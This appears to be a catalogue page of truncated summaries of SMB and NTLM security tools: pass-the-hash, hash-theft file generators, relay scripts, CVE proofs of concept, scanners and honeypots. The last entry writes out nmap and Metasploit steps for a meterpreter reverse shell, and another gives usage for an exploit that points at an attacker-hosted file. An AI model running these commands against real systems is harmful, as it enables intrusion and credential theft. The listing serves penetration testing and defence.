Invoke-TheHash

Invoke-TheHash Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privilege i...

Invoke-LinkSpray

Invoke-LinkSpray Powershell script to create malicious SMB or WebDAV links to steal NTLM authentication. Takes UNC or local folder paths from a file specified by the -ShareList parameter. Optionally, -Depth can be used to specify how many folders to recurse when creating URL files. Also supports ...

ShareHound

ShareHound: Mapping rights of network shares using BloodHound OpenGraph A tool to map the access rights of network shares into BloodHound OpenGraphs. Read the associated blog post: https://specterops.io/blog/2025/10/30/sharehound-an-opengraph-collector-for-network-shares/ Two implementations This...

jackdaw

jackdaw gather gather gather What is this? Jackdaw is here to collect all information in your domain, store it in a SQL database and show you nice graphs on how your domain objects interact with each-other an how a potential attacker may exploit these interactions. It also comes with a handy...

CVE-2024-21413-POC

CVE-2024-21413 - POC Usage: python CVE-2024-21413.py -host example.com -port 25 -from [email protected] -recipient [email protected] -url xx.xx.xx.xx/path/to/shared/file/r0tb1t.rtf !NOTE r00tb1t : is the shared test file word in this case from the attacker machine xx.xx.xx.xx. To ensure...

CVE-2020-0796-Scanner

Inspired by ollypwn's SMBGhost script, I wrote my own script and shared it. import socket import binascii import sys payload =...

chameleon

19 Customizable honeypots for monitoring network traffic, bots activities, and username\password credentials DNS, HTTP Proxy, HTTP, HTTPS, SSH, POP3, IMAP, STMP, RDP, VNC, SMB, SOCKS5, Redis, TELNET, Postgres, MySQL, MSSQL, Elastic and ldap If you want to implement the honeypots in your project,...

doublepulsar-detection-script

Author: Luke Jennings [email protected] - @jukelennings Company: Countercept @countercept Website: https://countercept.com A set of python2 scripts for sweeping a list of IPs for the presence of both SMB and RDP versions of the DOUBLEPULSAR implant that was released by the Shadow Brokers...

TaskHound

Windows Privileged Scheduled Task Discovery Tool for fun and profit. TaskHound hunts for Windows scheduled tasks that run with privileged accounts and stored credentials. It enumerates tasks over SMB, parses XMLs, and identifies high-value attack opportunities through BloodHound integration. For...

BIT-EternalBlue-for-macOS_Linux

BIT-EternalBlue-for-macOS&Linux Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS. This bug is workable on both macOS and Linux. Install Before exploit, you need to download dependencies...

Egress-Assess

Egress-Assess Egress-Assess is a tool used to test egress data detection capabilities. Setup To set up, run the included setup script, or perform the following: 1. Install pyftpdlib 2. Generate a server certificate and store it as "server.pem" on the same level as Egress-Assess. This can be done...

smb

███████╗███╗ ███╗██████╗ ███║ ██╔════╝████╗ ████║██╔══██╗ ║██║ ███████╗██╔████╔██║██████╔╝ ██║ ██ ║██║ ╚════██║██║╚██╔╝██║██╔══██╗ ╚██╗ ██ ╔╝██║ ███████║██║ ╚═╝ ██║██████╔╝ ╚████╔╝ ██║ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═══╝ ╚═╝ SMB is a network protocol that allows sharing files, printers and other resourc...

ntlm_theft

ntlmtheft A tool for generating multiple types of NTLMv2 hash theft files. ntlmtheft is an Open Source Python3 Tool that generates 21 different types of hash theft documents. These can be used for phishing when either the target allows smb traffic outside their network, or if you are already insi...

CVE-2025-24071-PoC

CVE-2025-24071 - Windows File Explorer Spoofing Vulnerability Proof of Concept Overview CVE-2025-24071 is a spoofing vulnerability in Windows File Explorer that allows an unauthenticated attacker to expose sensitive information over a network. The vulnerability arises due to the implicit trust an...

relayer

Relayer - SMB Relay Attack Script. Relayer is an SMB relay Attack Script that automates all the necessary steps to scan for systems with SMB signing disabled and relaying authentication request to these systems with the objective of gaining a shell. Great when performing Penetration testing...

smbcrawler

SmbCrawler SmbCrawler is no-nonsense tool that takes credentials and a list of hosts and 'crawls' or 'spiders' through those shares. Features: takes host names, IP addresses, IP ranges, or an nmap xml file as input checks permissions check for 'write' permissions is opt-in, because it requires...

CVE-2025-24071_PoCExtra

CVE-2025-24071PoCExtra Alternative CVE-2025-24071PoC Original Code https://github.com/0x6rss/CVE-2025-24071PoC When testing with another similar extension, I tried ".searchconnector-ms" using the same structure, but the issue with the first PoC also affected it. python poc2.py Enter the IP addres...

SMBGhost_RCE_PoC

SMBGhostRCEPoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other...

SMBSR

STOP THERE! This tool is no longer mantained! Decided to merge the feature of SMBSR and RSMBI, please refer to SMBAT SMBSR - what is that? Well, SMBSR is a python script which given a CIDR/IP/IPfile/HOSTNAMEs enumerates all the SMB services listening 445 among the targets and tries to authenticat...

CVE-2009-3103

CVE-2009-3103 check vuln SMB nmap --script smb-vuln -p139,445 IP-TARGET set listener sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run run exploit python3 exploit.py IP-TARGET YOUR-KALI-IP 80 windows/meterpreter/reversetcp...